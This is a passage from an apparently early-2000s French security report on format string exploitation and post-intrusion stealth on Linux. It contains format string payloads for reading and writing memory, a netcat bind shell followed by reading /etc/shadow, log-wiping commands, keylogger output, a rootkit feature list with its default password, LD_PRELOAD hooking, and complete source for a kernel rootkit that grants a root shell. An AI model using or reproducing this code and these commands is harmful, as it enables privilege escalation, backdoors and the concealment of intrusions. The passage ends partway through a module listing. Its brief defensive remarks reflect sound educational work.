précédent peut aussi s’écrire : printf("Nombre total : \x25d\n", 10); 21 Le compilateur remplacera à la compilation la valeur ‘\x25’ par ‘%’ car 0x25 (37) est la valeur ASCII du caractère ‘%’. Mais comment sont interprétées ces chaînes en mémoire ? En réalité, les paramètres requis par la chaîne de format sont stockés dans la pile puis récupérés par la fonction. Prenons l’exemple suivant : printf("Number %d has no address, number %d has : %08x\n", i, a, &a); A l’intérieur de la fonction printf la pile ressemble à : haut de la pile bas de la pile adresse de la chaîne de format ... valeur de la variable i valeur de la variable a adresse de la variable a ... Figure 5 - Etat de la pile dans la fonction printf Ainsi, la fonction printf dépile l’adresse de la chaîne de format pour la lire, puis récupère chacun des paramètres en le dépilant lorsqu’elle rencontre un caractère ‘%’ dans son analyse (en le formatant de façon adéquate). 2.4.2 Les vulnérabilités 2.4.2.1 Introduction Elles peuvent se présenter sous deux types différents : • L’erreur réside dans le second paramètre de la fonction syslog. Ce paramètre est en partie fourni par l’utilisateur : char tmpbuf[512]; snprintf(tmpbuf, sizeof(tmpbuf), "foo : %s", user); tmpbuf[sizeof(tmpbuf) – 1] = '\0'; syslog(LOG_NOTICE, tmpbuf); • Un paramètre fourni, même partiellement, par l’utilisateur est directement passé à une fonction de formatage : int Error(char *fmt, ...); int someotherfunc(char *user) { ... 22 Error(user); ... } Les vulnérabilités du premier type sont assez facilement détectables par un outil automatisé, mais les secondes supposent que l’on puisse paramétrer cet outil pour qu’il reconnaisse la fonction Error comme une fonction de formatage. Le but d’un pirate est donc d’arriver à fournir une chaîne de format spéciale. Regardons ce que nous pouvons contrôler grâce à cela. 2.4.2.2 Plantage d’un programme Tout d’abord, une attaque très simple peut être le plantage d’un processus, aussi bien en local sur une machine, qu’à distance grâce au réseau. Dans un cas, l’obtention du coredump1 pourra nous fournir des informations utiles, dans l’autre en paralysant par exemple un serveur DNS on pourra usurper facilement une identité. L’utilisation des format strings permet de lire des zones mémoires et en particuliers des zones non valides. Une telle format string ressemble à : printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s"); En effet, comme aucun paramètre n’est fourni, la fonction printf va dépiler les éléments présents sur la pile et on risque d’accéder à une illegal address. De plus, la plupart des implémentations offrent le paramètre ‘%n’ qui peut être utilisé pour écrire dans des zones interdites. 2.4.2.3 Voir la mémoire On peut également visualiser certains éléments présents sur la pile en utilisant le mécanisme précédent : printf("%08x.%08x.%08x.%08x.%08x\n"); L’option de formatage ‘%08x’ correspond à l’affichage d’un entier (4 octets) sous la forme d’un nombre hexadécimal de 8 digits contenant éventuellement des zéros : 40138340.bffff8a8.08048246.40048c60.40138340 Ainsi on obtient des informations souvent intéressantes sur le flot d’exécution d’un programme, de ses variables, … qui vont pouvoir être exploitées pour trouver les offsets nécessaires à une attaque. 1 Lors de l’arrêt brutal d’un programme (du à un plantage ou à la réception d’un signal SIGSEGV), celui génère un fichier coredump fournissant diverses informations et une copie de la mémoire (le dump) facilitant ainsi le débogage. 23 Dans l’exemple précédent on lisait seulement les éléments du haut de la pile lors de l’appel de printf. Cependant on peut aussi voir n’importe quel endroit de la mémoire. Pour cela, il faut parvenir à indiquer à printf l’adresse à partir de laquelle on désire lire. Le paramètre ‘%s’ peut nous aider à réaliser cela puisqu’il lit à partir d’une adresse fournie. Le problème restant est de savoir comment placer cette adresse sur la pile (et au bon endroit !) pour que, lors de l’analyse de la chaîne de format et de la rencontre avec ‘%s’, la fonction de formatage lise les données à partir de cette adresse. Heureusement, la plupart du temps, notre chaîne de formatage se trouve sur la pile. On peut ainsi y écrire directement l’adresse à partir de laquelle on souhaite lire. C’est ce que fait le programme suivant (les ‘%08x’ servent à déplacer le pointeur de pile pour pointer sur le début de notre chaîne de format; leur nombre est dépendant de la machine) : #include <stdio.h> int main(void) { char text[] = "\x35\xf9\xff\xbf_%08x.%08x.%08x|%s|\n"; printf(); } Ici, l’adresse à partir de laquelle on souhaite lire est : 0xbffff935. 2.4.2.4 Ecrire dans la mémoire Pour réussir l’exploitation d’une faille il faut pouvoir écrire des données en mémoire qui vont ensuite être exécutées. Il existe deux types possibles : celui ressemblant aux débordements de tampon standards et ceux recourrant seulement aux chaînes de format. Débordement de tampon standard Le code suivant apparaissait dans certains programmes vulnérables : { char outbuf[512]; char buffer[512]; sprintf(buffer, "ERR Wrong command: %400s", user); sprintf(outbuf, buffer); } Bien sûr, ce genre de code n’est pas aussi visible la plupart du temps et se trouve dissimulé parmi plusieurs lignes de code. Le ‘%400s’ signifie que la fonction utilisera au maximum seulement 400 caractères de user. A priori un débordement de tampon standard ne peut contourner cet artifice. Heureusement une chaîne de format malicieuse va pouvoir y parvenir : "%497d\x3c\d3\xff\xbf<nops><shellcode>" 24 Cette chaîne est similaire aux chaînes utilisées lors des buffer overflows classiques, mis à part le début : ‘%497d’. Explication : lors d’un débordement « normal » on écrase l’adresse de retour d’une fonction par une adresse pointant quelque part dans les <nops>. Dans notre cas, on crée une chaîne de 497 caractères dont la taille, ajoutée à la longueur de "ERR Wrong command: ", dépasse les tableaux buffer et outbuf de 4 octets. Puisque le deuxième sprintf ne vérifie pas la longueur on peut écraser l’adresse de retour par 0xbfffd33c. Le déroulement est alors le même que lors d’un buffer overflow banal. Exploitation uniquement via format string Maintenant étudions le cas de l’utilisation pure d’une chaîne de format. Le code suivant se retrouve dans wu-ftpd 2.6.0 qui a été l’un des programmes les plus sévèrement touchés par les format strings : { char buffer[512]; snprintf(buffer, sizeof(buffer), user); buffer[sizeof(buffer) – 1] = '\0'; } Ici aussi, a priori, le code n’est pas vulnérable. L’utilisation de snprintf nous empêche d’agrandir le tableau, on pourrait éventuellement essayer de faire planter le programme ou d’examiner la mémoire. Mais souvenons nous des paramètres possibles des chaînes de format :il existe ‘%n’ qui écrit le nombre de caractères déjà écrits dans une variable de notre choix. Cette variable est indiquée en plaçant son adresse sur la pile. int i; printf("foobar%n\n", &i); printf("i = %d\n", i); Le programme précédent renverra « i = 6 » car nous avons écrit 6 caractères (foobar). En utilisant la méthode du 2.4.2.3 qui nous permettait de lire la mémoire à n’importe quel endroit de la mémoire nous pouvons écrire là où bon nous semble : "\x35\xf9\xff\xbf_%08x.%08x.%08x.%n" Cette chaîne écrira à l’adresse 0xbffff935 un entier représentant le nombre de caractères écrits. Nous avons réussi à écrire à une adresse précise de la mémoire, mais encore nous reste-t-il à contrôler le chiffre que nous écrivons ! 25 Ce nombre, écrit grâce à ‘%n’, est dépendant de la chaîne de format elle-même. Puisque nous la contrôlons, nous pouvons écrire le nombre désiré : int a; printf("%10u%n", 2600, &a); /* a == 10 */ int a; printf("%150u%n", 2600, &a); /* a == 150 */ En utilisant le paramètre ‘%nu’, nous arrivons à contrôler un peu le chiffre écrit par ‘%n’. Mais ce n’est pas suffisant pour arriver à écrire de grands nombres tels que des adresses. Les entiers sur une architecture x86 est stocké en mémoire sous la forme de 4 octets, les bits de poids faible étant les premiers en mémoire (notation little indian). Le nombre 0x0000014c est donc stocké sous la forme "\x4c\x01\x00\x00". unsigned char foo[4]; printf("%64u%n", 2600, foo); Ce programme va écrire 64 ('\x40') dans foo[0]. Pour une adresse, stockée sur quatre octets, si nous ne pouvons écrire les 4 octets en une fois essayons en plusieurs fois, c’est-à-dire : unsigned char canary[5]; unsigned char foo[4]; memset(foo, '\x00', sizeof(foo)); /* 0 * before */ strcpy(canary, "AAAA"); /* /* /* /* 1 2 3 4 */ */ */ */ printf("%16u%n", 2600, &foo[0]); printf("%32u%n", 2600, &foo[1]); printf("%64u%n", 2600, &foo[2]); printf("%128u%n", 2600, &foo[3]); /* 5 * after */ printf("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); A l’exécution nous avons « 10204080 » et « canary: 00000041 ». Nous avons donc réussi à écrire quatre octets mais nous en avons également écrasé trois. En effet, en déplaçant notre pointeur, comme nous écrivons un entier à chaque fois (soit quatre octets), nous touchons inévitablement les données adjacentes (canary en l’occurrence). La figure suivante résume les cinq étapes : 26 0 00 00 00 00 41 41 41 41 00 1 10 00 00 00 41 41 41 41 00 2 10 20 00 00 00 41 41 41 00 3 10 20 40 00 00 00 41 41 00 4 10 20 40 80 00 00 00 41 00 5 10 20 40 80 00 00 00 41 00 Figure 6 - Les quatre étapes pour écrire une adresse On peut également écrire les quatre octets en une seule chaîne de format : unsigned char canary[5]; unsigned char foo[4]; memset(foo, '\x00', sizeof(foo)); strcpy(canary, "AAAA"); printf("%16u%n%16u%n%32u%n%64u%n", 1, &foo[0], 1, &foo[1], 1, &foo[2], 1, &foo[3]); printf("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); Le résultat obtenu est le même que précédemment, mais dans ce programme les options de formatages (‘%nu’) ont changé. En effet, nous écrivons une seule chaîne de caractères, donc, lorsque nous voulons écrire 32, seize caractères ont déjà été écrits, il suffit donc d’augmenter le total de caractères écrits de 16, puis de 32 et enfin de 64. Nous avons réussi à écrire 10 20 40 80 mais nous aurions tout aussi bien pu écrire 80 40 20 10 avec seulement une petite modification. Puisque nous écrivons des entiers et que seuls les bits de poids faible sont importants, on aurait pu utiliser les compteurs 0x80, 0x140, 0x220 et 0x320. Pour un exploit, il faut donc injecter une chaîne de format du type : <stackpop><4 paires d’entiers et d’adresses><write-code> avec : • stackpop : une séquence de paramètres pour dépiler la pile et faire déplacer le pointeur de pile vers le début de nos 4 paires d’entiers et d’adresses. 27 • 4 paires d’entiers et d’adresses : ils représentent les arguments à la fonction printf (ou équivalent). Chaque adresse augmente de un par rapport à la précédente. Les entiers sont quelconques, pourvu qu’ils ne contiennent pas d’octet(s) nul(s). • write-code : c’est la partie de la chaîne de format qui va être en charge de l’écriture dans la mémoire en utilisant des paires ‘%nu%n’, où n est plus grand que 10. 2.4.3 Protection Les attaques de type format string utilisent l’exécution de shellcode ou de return-into-libc. Les défenses sont donc les mêmes que pour les stack ou heap overflows et, comme nous l’avons dit précédemment, seul le patch grsecurity peut réussir à empêcher leur succès. En amont, les développeurs doivent faire preuve de vigilance lors de l’écriture de leur code. Des outils existent pour se prémunir contre de telles erreurs de programmation. Citons pscan (http://www.striker.ottawa.on.ca/~aland/pscan/) qui effectue une analyse lexicale du source afin de débusquer des trous de sécurité dus aux chaînes de format. Une autre approche est développée dans [24]. En effet, les auteurs se basent non plus sur une analyse syntaxique mais sur un moteur d’inférences sur les types des variables basé sur des contraintes. Ainsi, une variable déclarée comme « tachée » (tainted) pourra éventuellement poser des problèmes et sera tracée à l’intérieur du programme afin de découvrir si, oui ou non, elle constitue un risque. Cette méthode s’applique aux format strings, mais peut s’étendre à d’autres vulnérabilités. 28 3 La furtivité système 3.1 Attaque Après la réussite de son intrusion, le pirate doit masquer ses traces. Elles sont de plusieurs sortes : sa présence au niveau système, les logiciels qu’il a installés (sniffers, des chevaux de Troie1, …), mais aussi les paramètres et connexions réseau (dans le cas des backdoors2, par exemple). Comment y parvient il ? Il existe pour cela plusieurs outils, souvent très spécifiques et disponibles assez facilement sur Internet. 3.1.1 L’épuration des fichiers de logs Cette étape est sûrement l’une des plus importantes car c’est grâce aux fichiers de logs qu’un administrateur peut réussir à identifier la compromission d’une de ses machines. En effet, ils constituent les données de base analysées quotidiennement par tout administrateur consciencieux. Souvent, des scripts effectuent un premier traitement afin d’extraire seulement les informations les plus significatives. Face à la somme d’informations pouvant être enregistrée de cette manière, on utilise généralement des fichiers distincts pour sauvegarder des informations spécifiques (par exemple, ceux du serveur web, ceux du serveur ftp, ceux du système, etc.). Le pirate doit donc être vigilant et n’oublier aucun fichier afin de rester totalement furtif au sein d’un système. Par exemple, s’il a obtenu un accès grâce à un buffer overflow d’un serveur ftp, et que toutes les transactions sont enregistrées, des lignes étranges vont apparaître dans le fichier de log et attirer l’attention de l’administrateur. Pour savoir où est stocké chaque message, il suffit de regarder le fichier /etc/syslog.conf. Celuici indique vers quels fichiers sont renvoyés certains messages. Mais il faut aussi savoir où sont stockés ceux des autres applications attaquées, le serveur web par exemple. # Log all kernel messages to the console # Logging much else clutters up to the screen #kern.* /dev/console # Log anything (except mail) of level info or higher # Don't log private authentication messages! *.info;mail.none;authpriv.none /var/log/messages # The authpriv file has restricted access. authpriv.* /var/log/secure # Log all the mail messages in one place mail.* /var/log/maillog # Everybody gets emergency messages, plus log them on another # machine. *.emerg * # Save mail and news errors of level err and higher in a # special file. uucp,news.crit /var/log/spooler 1 2 Un cheval de Troie (trojan) est un programme furtif et malicieux installé par le pirate et ayant divers utilisations (cf. 3.1.2). Une backdoor permet l’accès à distance du pirate sur une machine « corrompue » (cf. 3.1.2). 29 La plupart des fichiers sont au format texte et ne demande donc pas d’application particulière afin de les modifier. Un bon éditeur (vi ou emacs, selon ses convictions personnelles) suffit souvent. Mais parfois il faut recourir à des petits utilitaires (pouvant être programmés très facilement, ou disponibles sur Internet) lorsque se présentent des fichiers binaires. C’est par exemple le cas du fichier wtmp utilisé par la commande who. Regardons les possibilités offertes par le logiciel logpatch : [root@sam root]# ./logpatch logpatch v1.0 by Ighighi Usage: logzap mode options mode: u[x] -utmp/utmpx w[x] -wtmp/wtmpx l -lastlog options: -u [user][:new_user] Patch/wipe entries with user `user'. `new_user' ignored in lastlog mode [-l [tty][:new_tty]] Patch/wipe entries with tty `tty'. Ignored in lastlog mode [-h [host][:new_host]] Patch/wipe entries with host `host'. [-d YYYY[:MM[:DD[:hh[:mm[:ss[:uuuuuu]]]]]]] Patch entry's time (with microsecond resolution) Default: previous entry's time (u[x]), next's (w[x]), zero (l) [-f file] Specify the file to use instead of the default [-n nentries] Only u[x] & w[x] u[x]: Process the first n entries. Def: -1 (all entries) w[x]: Process the last n entries. Def: 1 (last entry) [-t] Truncate entries at EOF. Only w[x] example: hide all root entries from www.microsoft.com in wtmpx ./logpatch wx -u root -h www.microsoft.com -n -1 -t Il permet donc de modifier les entrées des fichiers wtmp, utmp et lastlog. Il peut remplacer les dates, effacer les connexions depuis un hôte précis (utile dans le cas d'usurpation d'un compte...), etc. Pour le premier exemple, on va simplement effacer un utilisateur de wtmp : [root@sam root]# who ./wtmp arno :0 Aug 1 09:35 lolo pts/8 Aug 1 16:33 (vador.starwars.net) arno :0 Aug 2 09:57 arno :0 Aug 5 15:42 arno :0 Aug 6 14:16 arno :0 Aug 19 10:26 arno :0 Aug 22 10:46 arno :0 Aug 23 11:15 arno :0 Aug 26 15:12 arno :0 Aug 26 16:20 arno :0 Aug 26 16:27 30 arno :0 Aug 27 11:31 arno :0 Aug 28 15:00 arno :0 Aug 28 15:38 arno :0 Aug 28 15:43 [root@sam root]# ./logpatch w -u arno -f ./wtmp -n -1 Opening ./wtmp ... Reading... patched patched patched patched patched patched patched patched patched patched patched patched patched patched ok. [root@sam root]# who ./wtmp lolo pts/8 Aug 1 16:33 (vador.starwars.net) Ensuite, un exemple de changement de date avec lastlog : [root@sam root]# lastlog Username Port From Latest arno :0 mer aoû 28 lolo pts/8 vador.starwars.n jeu aoû 1 [root@sam root]# ./logpatch l -u arno -d 1999:05:20 Opening ./lastlog ... Reading... patched ok. [root@sam root]# lastlog arno jeu mai 20 lolo pts/8 vador.starwars.n jeu aoû 1 15:43:36 +0200 2002 16:33:20 +0200 2002 01:00:00 +0200 1999 16:33:20 +0200 2002 Si le pirate utilise un compte utilisateur, il doit également penser à effacer l’historique des commandes qu’il a frappées. Pour le shell bash, par exemple, elles sont stockées dans le fichier $HOME/.bash_history. Ici aussi, son éditeur favori est sa meilleure arme ! 3.1.2 La pose d’un cheval de Troie Comme il a été dit précédemment un cheval de Troie peut avoir différents objectifs. Il est souvent utiliser pour créer une porte dérobée au pirate afin de lui donner un accès distant (une backdoor). La backdoor la plus primaire est l’utilisation de la commande netcat : • On le lance en écoute sur la machine qui va servir de serveur : [root@sam root]# nc -l -p 666 -e /bin/sh • Puis sur la machine qui sert de client on se connecte au serveur : arno@vador ~ % nc sam 666 id uid=0(root) gid=0(root) groupes=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: 31 sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: nobody:x:65534:65534:Nobody:/home:/bin/sh arno:x:502:502:Arnaud:/home/arno:/bin/zsh lolo:x:503:503:Laurent:/home/lolo:/bin/bash cat /etc/shadow root:$1$FIGVEAe4$YXoUTssZI3xs9AK79/w2o0:11810:0:99999:7::: bin:*:11810:0:99999:7::: daemon:*:11810:0:99999:7::: adm:*:11810:0:99999:7::: sync:*:11810:0:99999:7::: shutdown:*:11810:0:99999:7::: halt:*:11810:0:99999:7::: mail:*:11810:0:99999:7::: uucp:*:11810:0:99999:7::: operator:*:11810:0:99999:7::: nobody:*:11810:0:99999:7::: arno:$1$Kx3At//2$x8LqYOWhwNzq.CmnbzsYV.:11810:0:99999:7::: lolo:$1$Eh8KOeX7$Jvq858By4jsM83MDFD06O.:11810:0:99999:7::: Les commandes entrées sont en gras. D’autres logiciels plus complexes et furtifs sont disponibles sur Internet. Ils offrent par exemple des moyens cryptographiques, de l’échange de données, l’utilisation d’un protocole autre que TCP (UDP, ICMP, ARP peuvent facilement être utilisés par des backdoors, et sont souvent très peu filtrés par les pare-feu), etc… Il peut également remplacer une commande existante et permettre d’avoir un accès facilement. Ainsi, le programme login constitue une cible de choix. Un pirate peut programmer une nouvelle version l’autorisant, s’il rentre le bon nom d’utilisateur et le bon mot de passe, à avoir un accès administrateur invisible. Il fera en sorte que son programme soit presque identique au précédent, en ayant la même taille et la même date de création, rendant difficile son identification. Mais un cheval de Troie peut avoir une tout autre utilité : il peut notamment servir à enregistrer les touches frappées sur le système (localement ou à distance). On parle alors de keylogger. Les effets d’un tel programme peuvent être dévastateurs : révélation des mots de passe, des comptes utilisateurs, des habitudes des utilisateurs, … Dans le dernier exemplaire du magazine électronique phrack [15], un keylogger innovant et efficace a été publié : vlogger. C’est un module noyau1 que l’on charge en mémoire et qui enregistre dans un répertoire les fichiers correspondants aux commandes entrées : [root@sam log]# cat pts0 <28/08/2002-15:27:18 uid=0 bash> rmmod vlogger [root@sam log]# cat pts1 <28/08/2002-15:26:09 uid=502 zsh> ls <28/08/2002-15:26:12 uid=502 zsh> su <28/08/2002-15:26:15 uid=502 su> password <28/08/2002-15:26:28 uid=0 bash> cat /etc/passwd 1 Pour une défintion précise voir 3.1.3.3 32 On voit donc que sur le pseudo terminal pts1 une personne s’est identifié en super utilisateur (su -) et a tapé son mot de passe : password. 3.1.3 L’installation d’un rootkit Les rootkits sont de plusieurs sortes. Ils vont du simple remplacement des commandes de bases (ls, netstat, ps, …) à des versions plus élaborées sous la forme de modules noyaux. 3.1.3.1 Les rootkits simples Le remplacement des commandes de base a été le premier véritable et élémentaire rootkit. Il consiste simplement à substituer à certains fichiers des versions servant à dissimuler non seulement la présence du pirate, mais aussi ses fichiers, des connexions réseau, à introduire des chevaux de Troie, … Seule l’imagination du pirate pose une restriction aux possibilités offertes. Le plus célèbre de ce type de rootkit sous Linux est le Linux Root-Kit (lrk) de Lord Somer. Une petite énumération de ses possibilités est indispensable : 33 Objectif Programmes Description Dissimuler les fichiers ls, find, locate, xargs, du ps, top, pidof Dissimuler les processus netstat Dissimuler les connexions réseau killall Empêcher la fin des processus du pirate ifconfig Dissimuler le mode promiscuous (typique des snifers) d’une interface réseau crontab Dissimuler les tâches tcpd Empêcher le log de certaines connexions syslogd Empêcher le log de certains processus chfn Ouverture d’un shell lorsque le mot de passe du rootkit est entré comme nom d’utilisateur passwd Ouverture d’un shell lorsque le pirate précise le mot de passe du rootkit Dissimulation Backdoors Quel que soit le nom d’utilisateur, si le mot de passe est celui du rootkit, connexion avec ce nom d’utilisateur su, login Installation d’un shell root à l’écoute sur un port. Le mot de passe du rootkit doit être fourni inetd Démons offrant un accès à distance rshd Exécute la commande en tant que root si l’utilisateur est le mot de passe du rootkit sshd Fonctionne comme login Installe le programme corrompu en conservant le timestamp et le checksum de l’original fix linsniffer Capture les paquets pour récupérer les mots de passe sniffchk Vérification du fonctionnement du sniffer wted Permet l’édition du fichier wmtp z2 Efface les entrées non désirées dans wtmp, utmp et lastlog Utilitaires Tableau 1 - Fonctionnalités du Linux Root-Kit 34 Le mot de passe par défaut est satori. Ce rootkit est donc l’un de plus puissants et des plus riches fournissant une panoplie complète répondant aux attentes de n’importe quel pirate. Mais il est de moins en moins utilisé car il n’a pas été mis à jour depuis un certain temps et ne reflète donc plus le comportement exact des commandes actuelles. De plus, des outils très simples et répandus permettent une identification rapide de ce genre de compromission (cf. 3.3.2). 3.1.3.2 Utilisation des bibliothèques dynamiques Un des talons d’Achille des systèmes d’exploitation actuels est l’utilisation de bibliothèques dynamiques. Celles-ci permettent de partager du code entre différentes applications afin de simplifier le code et de réduire la taille des exécutables. Mais, grâce à cette particularité le pirate peut très simplement remplacer le fonctionnement d’un grand nombre de commandes. En effet, il lui suffit maintenant de modifier une bibliothèque dynamique en lieu et place de plusieurs programmes. Pour mieux comprendre, étudions un exemple : au lieu de remplacer directement une bibliothèque nous allons utiliser la variable d’environnement LD_PRELOAD qui indiquera une bibliothèque dynamique à charger avant le lancement d’un programme. Notre programme de test est : #include <stdio.h> void test() { printf("coucou\n"); } int main(void) { test(); return 0; } Nous allons remplacer la fonction printf() par une autre de notre choix. L’exécution simple est triviale : arno@valium:~/test/ld_preload$ gcc -o test test.c arno@valium:~/test/ld_preload$ ./test coucou arno@valium:~/test/ld_preload$ Voici le programme qui va nous aider à remplacer la fonction printf() : #include <stdio.h> void printf() { 35 fprintf(stdout, "hack\n"); } Il ne reste plus qu’à le compiler et à définir la variable LD_PRELOAD : arno@valium:~/test/ld_preload$ hack.c:4: warning: conflicting arno@valium:~/test/ld_preload$ arno@valium:~/test/ld_preload$ arno@valium:~/test/ld_preload$ hack arno@valium:~/test/ld_preload$ gcc -c hack.c types for built-in function `printf' ld -shared -o hack.so hack.o export LD_PRELOAD=./hack.so ./test Pour confirmer que notre bibliothèque est chargée avant les autres on utilise ldd : arno@valium:~/test/ld_preload$ ldd ./test ./hack.so => ./hack.so (0x40013000) libc.so.6 => /lib/i686/libc.so.6 (0x40020000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) arno@valium:~/test/ld_preload$ En réinitialisant LD_PRELOAD on retrouve le fonctionnement normal : arno@valium:~/test/ld_preload$ export LD_PRELOAD= arno@valium:~/test/ld_preload$ ./test coucou arno@valium:~/test/ld_preload$ ldd ./test libc.so.6 => /lib/i686/libc.so.6 (0x4001e000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) arno@valium:~/test/ld_preload$ Ici la modification est sans danger mais si on touche à une bibliothèque plus critique un pirate pourra obtenir des résultats très intéressants. 3.1.3.3 Les Linux Kernel Rootkits Ce sont ces rootkits qui sont à l’heure actuelle les plus répandus et les plus efficaces. Ils sont très difficilement repérables et offrent des possibilités de dissimulation très élevées. Comment fonctionnent ils ? A l’origine les modules pour le noyau (Loadable Kernel Modules – LKM) sont chargés dynamiquement en mémoire afin d’augmenter les possibilités d’un noyau en fonctionnement. Il n’est alors plus nécessaire de recompiler son noyau pour ajouter des fonctionnalités. Il existe donc des utilitaires pour charger et retirer ces modules à souhait, réduisant par là même la taille du noyau chargé en mémoire initialement. Beaucoup d’Unix les utilisent : Linux, Solaris, FreeBSD pour ne citer que les plus répandus. 36 Au lieu d’utiliser ces modules pour charger en mémoire des pilotes pour des périphériques, des personnes mal intentionnées peuvent les utiliser pour prendre possession du système dans son intégralité. On peut alors détourner les appels système (system calls) et les faire réagir différemment de leur comportement normal. Afin de bien comprendre comment fonctionne un tel rootkit, nous allons regarder le code écrit par Frédéric Raynal et publié dans [1]. Ce petit module fait office de backdoor : il suffit à l’utilisateur d’exécuter la commande /etc/passwd. Vous aurez remarqué que c’est un fichier mais non un exécutable : ce sera notre module qui, en interceptant l’appel système sys_execve(), nous donnera un shell root. #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include #include #include #include #include <linux/config.h> <linux/stddef.h> <linux/module.h> <linux/kernel.h> <linux/mm.h> #include <sys/syscall.h> #include <linux/smp_lock.h> #if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE #include <linux/slab.h> #endif int (*old_execve) (struct pt_regs); extern void *sys_call_table[]; #define ROOTSHELL "[rootshell] " char magic_cmd[] = "/bin/sh"; int new_execve(struct pt_regs regs) { int error; char *filename , *new_exe = NULL; char hacked_cmd[] = "/etc/passwd"; lock_kernel(); filename = getname((char *) regs.ebx); printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename, current->uid, current->euid, current->suid, current->fsuid, current->gid, current->egid, current->sgid, current->fsgid); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd)) == 0) { 37 printk(ROOTSHELL " Got it :)))\n"); current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; cap_t(current->cap_effective) = ~0; cap_t(current->cap_inheritable) = ~0; cap_t(current->cap_permitted) = ~0; new_exe = magic_cmd; } else new_exe = filename; error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, ®s); if (error == 0) #ifdef PT_TRACE /* 2.2 vs 2.4 */ current->ptrace &= ~PT_DTRACE; #else current->flags &= ~PF_DTRACE; #endif putname(filename); out: unlock_kernel(); return error; } int init_module(void) { lock_kernel(); printk(ROOTSHELL "Loaded :)\n"); #define REPLACE(x) old_##x = sys_call_table[__NR_##x]; sys_call_table[__NR_##x] = new_##x \ REPLACE(execve); unlock_kernel(); return 0; } void cleanup_module(void) { #define RESTORE(x) sys_call_table[__NR_##x] = old_##x RESTORE(execve); printk(ROOTSHELL "Unloaded :(\n"); } Quelques explications du code s’imposent : un module de noyau doit obligatoirement avoir deux fonctions : • init_module() : c’est la fonction qui est appelée lors du chargement du noyau en mémoire. Elle se charge ici de remplacer l’appel système sys_execve(). Pour cela, on change dans la table recensant les adresses de chaque appel système (sys_call_table[]) l’adresse de sys_execve() par l’adresse de notre fonction new_execve(). 38 • cleanup_module() : cette fonction est appelée lorsque le module est retiré du noyau. Ici, elle sert simplement à restaurer l’adresse de l’appel sys_execve() originel. Quant à notre fonction new_execve(), elle compare le nom du fichier exécuté avec une commande prédéfinie (ici : hacked_cmd[] = "/etc/passwd"). Lorsque celle-ci est repérée, on change les permissions pour devenir root, puis on exécute notre magic_cmd avec ces permissions. Voyons le rootkit en fonctionnement : • On le charge d’abord en mémoire : [root@sam rootshell]# insmod rootshell.o Warning: loading rootshell.o will taint the kernel: no license [root@sam rootshell]# lsmod Module Size Used by Tainted: P rootshell 1132 0 (unused) i810 68280 1 agpgart 31552 7 (autoclean) parport_pc 22088 1 (autoclean) lp 6464 0 (autoclean) parport 23968 1 (autoclean) [parport_pc lp] i810_audio 20288 0 soundcore 4068 2 [i810_audio] ac97_codec 9568 0 [i810_audio] af_packet 12488 2 (autoclean) usb-uhci 21668 0 (unused) usbcore 59072 1 [usb-uhci] 3c59x 25928 1 (autoclean) nls_iso8859-1 2816 1 (autoclean) nls_cp437 4352 1 (autoclean) nls_iso8859-15 3360 1 (autoclean) nls_cp850 3584 1 (autoclean) vfat 9788 2 (autoclean) fat 31384 0 (autoclean) [vfat] rtc 5912 0 (autoclean) aic7xxx 114676 0 (unused) sd_mod 11512 0 (unused) scsi_mod 93244 2 [aic7xxx sd_mod] Il est bien chargé en mémoire. • Puis on le teste en devenant un utilisateur normal : [arno@sam arno]$ id uid=502(arno) gid=502(arno) groupes=502(arno),43(usb) [arno@sam arno]$ /etc/passwd [root@sam arno]# id uid=0(root) gid=0(root) groupes=502(arno),43(usb) On peut regarder le fichier /var/log/mesages où on voit la présence de notre rootkit : Aug 28 15:40:25 sam kernel: [rootshell] Loaded :) 39 Aug 28 15:40:33 sam (0/0/0/0) aoû 28 15:40:33 sam Aug 28 15:40:34 sam (502/502/502/502) Aug 28 15:40:38 sam (502/502/502/502) Aug 28 15:40:38 sam Aug 28 15:40:38 sam Aug 28 15:40:45 sam Aug 28 15:41:45 sam kernel: [rootshell] ./usr/bin/clear. (0/0/0/0) su(pam_unix)[3929]: session closed for user root kernel: [rootshell] ./bin/id. (502/502/502/502) kernel: [rootshell] kernel: kernel: kernel: kernel: ./etc/passwd. (502/502/502/502) [rootshell] Got it :))) [rootshell] ./bin/id. (0/0/0/0) (0/0/0/0) [rootshell] ./sbin/rmmod. (0/0/0/0) (0/0/0/0) [rootshell] Unloaded :( Les rootkits de ce type les plus connus pour Linux sont knark et adore. Pour Solaris, il existe les Solaris Kernel Modules. Adore possède seulement les fonctions essentielles : cacher des fichiers, des processus et des connexions réseaux aux yeux de netstat. Il suffit de le charger en mémoire : [root@sam adore]# ./startadore Warning: loading adore.o will taint the kernel: no license Warning: loading cleaner.o will taint the kernel: no license [root@sam adore]# lsmod Module Size Used by Tainted: P isofs 25792 1 (autoclean) inflate_fs 19328 0 (autoclean) [isofs] smbfs 34304 2 (autoclean) i810 68280 1 agpgart 31552 6 (autoclean) parport_pc 22088 1 (autoclean) lp 6464 0 (autoclean) parport 23968 1 (autoclean) [parport_pc lp] i810_audio 20288 0 soundcore 4068 2 [i810_audio] ac97_codec 9568 0 [i810_audio] af_packet 12488 2 (autoclean) usb-uhci 21668 0 